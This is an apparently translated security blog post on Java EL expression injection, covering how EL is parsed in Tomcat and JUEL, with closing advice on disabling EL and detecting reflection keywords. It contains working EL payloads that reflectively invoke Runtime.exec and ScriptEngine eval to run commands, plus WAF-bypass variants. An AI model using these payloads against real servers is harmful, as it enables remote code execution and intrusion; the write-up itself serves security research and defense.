Java Expression Injection (JSP EL Expression Injection)

Foreword:

        Common expression injection methods include ELexpression injection, SpELexpression injection, and OGNLexpression injection. Let's first explain EL expression injection:

Introduction to EL expressions:

        EL (Expression Language) is to make JSP easier to write. The expression language is inspired by ECMAScript and XPath expression language, which provides a way to simplify expressions in JSP, making JSP code more simplified.

        Note: EL is not a development language , but a specification for obtaining data in jsp;

        JSP writing method:<%=session.getAttribute("name")%>

        El expression writing method: ${sessionScope.name}

The main functions of EL expressions are as follows:

  • Obtaining data: EL expressions are mainly used to replace script expressions in JSP pages to retrieve Java objects and obtain data from various types of Web domains (objects in a certain Web domain, access to properties of JavaBean, access to List collections) , access Map collection, access array).
     
  • Executing operations: EL expressions can be used to perform some basic relational operations, logic operations and arithmetic operations in JSP pages, so as to complete some simple logic operations in JSP pages, such as ${user==null}.
     
  • Obtain common objects of Web development: EL expressions define some implicit objects, and by using these implicit objects, Web developers can easily obtain references to common Web objects, thereby obtaining the data in these objects.
     
  • Calling Java methods: EL expressions allow users to develop custom EL functions to call methods of Java classes through EL expressions in JSP pages.

The most important thing to care about is its implicit object:

        The essence of JSP is Servlet, but it has one more scope than Servlet: page domain , there are four major scopes in JSP, the page context object is pageContext, which is one of the built-in object names of JSP, among which we want to use setAttribute(String key, Object value), add keys and values ​​to the page domain, and use it to add statements that can execute commands through pageContext.setAttribute. When parsing the el statement, our code can be triggered and executed.

test:

        If we test under what circumstances will there be EL expression injection, since el expressions have calculation and other functions, we can use these functions to determine whether there is EL expression injection. First, we add a test code that el can call the class:

Add the controller interface ElTestServlet class and add the method hello:

public class ElTestServlet extends HttpServlet {
    @RequestMapping(value = "/index.do",method = RequestMethod.GET)
    public ModelAndView hello(@RequestParam("username") String username){
        ModelAndView mv = new ModelAndView();
        mv.addObject("username", username);
        mv.setViewName("index");
        return mv;
    }
}

Add class ElTestService and add method doSomething:

public class ElTestService {
    public static String doSomething(String str) {
        return str;
    }
}

 Add the test.tld file:

<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <tlib-version>1.0</tlib-version>
    <short-name>ElTestService</short-name>
    <uri>/WEB-INF/test.tld</uri>
    <function>
        <name>doSomething</name>
        <function-class>org.example.service.ElTestService</function-class>
        <function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
    </function>
</taglib>

And add a call to tld in web.xml:

    <jsp-config>
        <taglib>
            <taglib-uri>/WEB-INF/test.tld
            </taglib-uri>
            <taglib-location>
                /WEB-INF/test.tld
            </taglib-location>
        </taglib>
    </jsp-config>

And finally the index.jsp for the test:

<%@ taglib uri="/WEB-INF/test.tld"  prefix="elfun" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>

</head>
<body>
<pre>
    param.username is :  ${param.username}

    user is: ${username}

    pageContext.setAttribute("a",param.username) is :  ${pageContext.setAttribute("a",param.username)} ${a}

    elfun:doSomething(username) is : ${elfun:doSomething(username)}

    <\%=rows%> is: <% String rows = "${2+1}";%><%=rows%>

    out.println is: <% out.println("${2+1}");%>

    pageContext.setAttribute("a", 2-1) is : ${pageContext.setAttribute("a", 2-1)} ${a}

    elfun:doSomething(2-1) is : ${elfun:doSomething(2-1)}
</pre>
</body>
</html>

 After execution, you can see the following display:

  

It can be seen that the values ​​passed in through parameters will be parsed as strings, not as el. Only the last two methods of direct assignment can be parsed as el. You can see it under debugging , when we use

${elfun:doSomething(2-1)}

In this way, the parsing of the content has been completed before entering the calling function, instead of parsing it after the function is processed.

So if you want to implement el injection through ${}, the parameter cannot be parsed as a string, so unless the development is intentional, we have no way to implant our code on the page and execute it, so if you want to use el injection, you can use it as a web backdoor Or when the backend will perform secondary el analysis on the obtained data or when we need to bypass such as JNDI injection high version bypass to exploit this vulnerability. But for the sake of research, we still manually add code for testing. When we use the following statement to print out system information:

Get the directory, then you can write to the webshell, etc.:

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

 Execute the command, visit the page, parse the following el statement and call the exec method of runtime to execute the command through reflection:

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

Of course, you can also use ${applicationScope} to access the application scope, you can get various properties of the application, and you can get webRoot

Code analysis:

When we visit the page and open the calculator, what exactly is executed, here we briefly analyze:

When we execute the following statement, the calculator will pop up:

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

It is mainly the following reflection code, and its main execution code of reflection is:

Runtime.getRuntime().exec("calc");

Let's take a look at how the EL statement is parsed. First, look at the execution stack. You can see that the following methods are mainly used to implement the parsing of the EL statement to the final reflection execution:

The first is to construct the ValueExpressionImpl object and return it. The parameters are expressions, node, function mapper, and variable Mapper. The expected type can be initialized, mainly for expressions and expected types:

Then create an el context for calling the proprietaryEvaluate method, where the important parameters are the first three, which are the el expression, the expected type, and the page context, and the latter are empty and false.

 Then call the getValue() method to get the Value value:

The parsing of the EL syntax tree is based on the nodes, where the root node is AstValue, and the three sub-nodes are AstIdentifier, DotSuffix, DotSuffix respectively. Here, the EL syntax tree will be parsed circularly

 Then call the invoke method of BeanELResolver to find the method function and execute it reflectively, completing the parsing and execution of EL. Note here that the pageContext object can only be processed by BeanELResolver:

The above has completed the analysis of the key functions of el parsing. The most important thing is the parsing of the el syntax tree. Here, the el code under the tomcat container has many classes for el parsing. There will also be differences in the analysis, which leads to the fact that many exp written by us cannot be used universally on various platforms, so when writing poc, we must know which container Tomcat, Jboss, Resin or glassfish is used by the other party, and then Only by analyzing the corresponding el analysis can we better write attack code.

Difference comparison:

EL was originally used as part of JSTL, but EL made it into the JSP 2.0 standard. The EL API has now been separated into the package javax.el, and all dependencies on the core JSP classes have been removed, that is, now : the EL is ready for use in non-JSP applications!

JUEL  is an implementation of Unified Expression Language (EL). Expressions have been introduced into JEE5 as part of the JSP2.1 standard, and JUEL  2.2 also implements all the specifications of JEE6 that the JSP 2.2 specification must comply with.

pom.xml add:

    <dependencies>
        <dependency>
            <groupId>de.odysseus.juel</groupId>
            <artifactId>juel-api</artifactId>
            <version>2.2.7</version>
        </dependency>
        <dependency>
            <groupId>de.odysseus.juel</groupId>
            <artifactId>juel-spi</artifactId>
            <version>2.2.7</version>
        </dependency>
        <dependency>
            <groupId>de.odysseus.juel</groupId>
            <artifactId>juel-impl</artifactId>
            <version>2.2.7</version>
        </dependency>
    </dependencies>

Write the test code:

public class Main {
    public static void main(String[] args) throws Exception {
        test2();
    }
    public static void test2() throws Exception{
        ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
        SimpleContext simpleContext = new SimpleContext();
        String exp1 = "${\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")}";
        String exp2 = "${\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"exec\",\"\".getClass()).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"calc.exe\")}\n";
        String exp3 = "${\"\".getClass().forName(\"javax.script.ScriptEngine\").getMethod(\"eval\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").getMethod(\"getEngineByName\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance(),\"JavaScript\"),\"java.lang.Runtime.getRuntime().exec('calc')\")}";

        ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp1, String.class);
        valueExpression.getValue(simpleContext);

        ScriptEngineManager obj = (ScriptEngineManager) "".getClass().forName("javax.script.ScriptEngineManager").newInstance();
        obj.getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc.exe')");
    }


}

I first tested using the javax.script.ScriptEngineManager class to execute java code and then complete the command execution, but after execution, I can see an error:

This is very strange, why is it the type of io.reader, but after analyzing it, I found a strange problem. When I debugged step by step, the calculator popped up successfully, but when I executed it directly, the following parameters were called It is the eval method of the reader type, which causes the system to report that the parameter type does not match:

 The essence of the reflection function is to execute the following code:

ScriptEngineManager obj = (ScriptEngineManager) "".getClass().forName("javax.script.ScriptEngineManager").newInstance();
obj.getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc.exe')");

Then I tested the complete reflection,

Object obj1 = "".getClass().forName("javax.script.ScriptEngineManager").getMethod("getEngineByName","".getClass()).invoke("".getClass().forName("javax.script.ScriptEngineManager").newInstance(),"JavaScript");
Class myclass2 = "".getClass().forName("javax.script.ScriptEngine");
Method method2 = myclass2.getMethod("eval","".getClass());
method2.invoke(obj1,"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()");

Splicing is completed in the following two forms:

"${\"\".getClass().forName(\"javax.script.ScriptEngine\").getMethod(\"eval\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").getMethod(\"getEngineByName\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance(),\"JavaScript\"),\"java.lang.Runtime.getRuntime().exec('calc')\")}";

${pageContext.setAttribute("a","".getClass().forName("javax.script.ScriptEngine").getMethod("eval","".getClass()).invoke("".getClass().forName("javax.script.ScriptEngineManager").getMethod("getEngineByName","".getClass()).invoke("".getClass().forName("javax.script.ScriptEngineManager").newInstance(),"JavaScript"),"java.lang.Runtime.getRuntime().exec('calc')"))}

 Execution can successfully pop up the calculator, and it can also pop up under tomcat, but it is a bit of a headache after changing to a lower version of tomcat, and I am too lazy to analyze it. The best compatibility is to directly reflect java.lang.Runtime and then call exec Execute system commands, if you want javax.script.ScriptEngineManager to execute java code reflectively, it depends on luck.

Bypass:

When there is a firewall, how to bypass:

First of all, if it is filtering for getClass, it can be bypassed as follows:

"${\"\".class.getSuperclass().class.forName(\"java.lang.Runtime\").getDeclaredMethods()[15].invoke(\"\".class.getSuperclass().class.forName(\"java.lang.Runtime\").getDeclaredMethods()[7].invoke(null),\"calc.exe\")}";

Or use string concatenation:

"${\"\".getClass().forName(\"java.la\"+\"ng.Runtime\").getMethod(\"exec\",\"\".getClass()).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"calc.exe\")}\n";

Or take an array form for the command:

"${\"\".getClass().forName(\"javax.script.ScriptEngine\").getMethod(\"eval\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").getMethod(\"getEngineByName\",\"\".getClass()).invoke(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance(),\"JavaScript\"),\"java.lang.Runtime.getRuntime().exec('s=[3];s[0]='open';s[1]='-a';s[2]='Calculator';java.lang.Runtime.getRuntime().exec(s);')\")}";

You can also call the decode method of java.net.URLDecoder in eval to execute the encoded execution code:

.eval((java.net.URLDecoder).decode(\"

How to use it depends on the site situation and choose one or a combination of methods.

defense:

How to defend against el injection, the first one is to directly close the execution of el, which can be added to the web.xml configuration:

    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>

After joining, you can see when you visit the page that all el expressions are parsed as strings:

 

And once true is set, the JSTL tag cannot be executed, so if you don’t use the el expression, you can close it directly, but you can customize the close if necessary:

<%@ page isELIgnored="true" %>

Adding the above statement to the jsp page that needs to turn off the el function can also turn off the el parsing of the current page, but it does not affect other interfaces

The last is to analyze the input keywords, mainly to detect whether the functions required by reflection are called in the el statement. Generally, normal codes do not call functions through reflection, and normally access java classes through JSTL, so if there is reflection, you can It is judged as an attack code. Of course, if there is a code that must be called reflectively, it can only be judged as a malicious attack by detecting whether there are calls to java.lang.Runtime and javax.script.ScriptEngine classes and calls to eval.

Summarize:

After analysis of EL expression injection, it is found that different versions or different methods have differences in the parsing of el syntax. For example, jsp el and jboss el are introduced here, so the same code will be executed on different platforms. Differences, when encountering the need to use EL injection, the corresponding attack code should be selected according to the specific scenario, and the code should be modified according to the waf situation.

Guess you like

Origin blog.csdn.net/GalaxySpaceX/article/details/132169473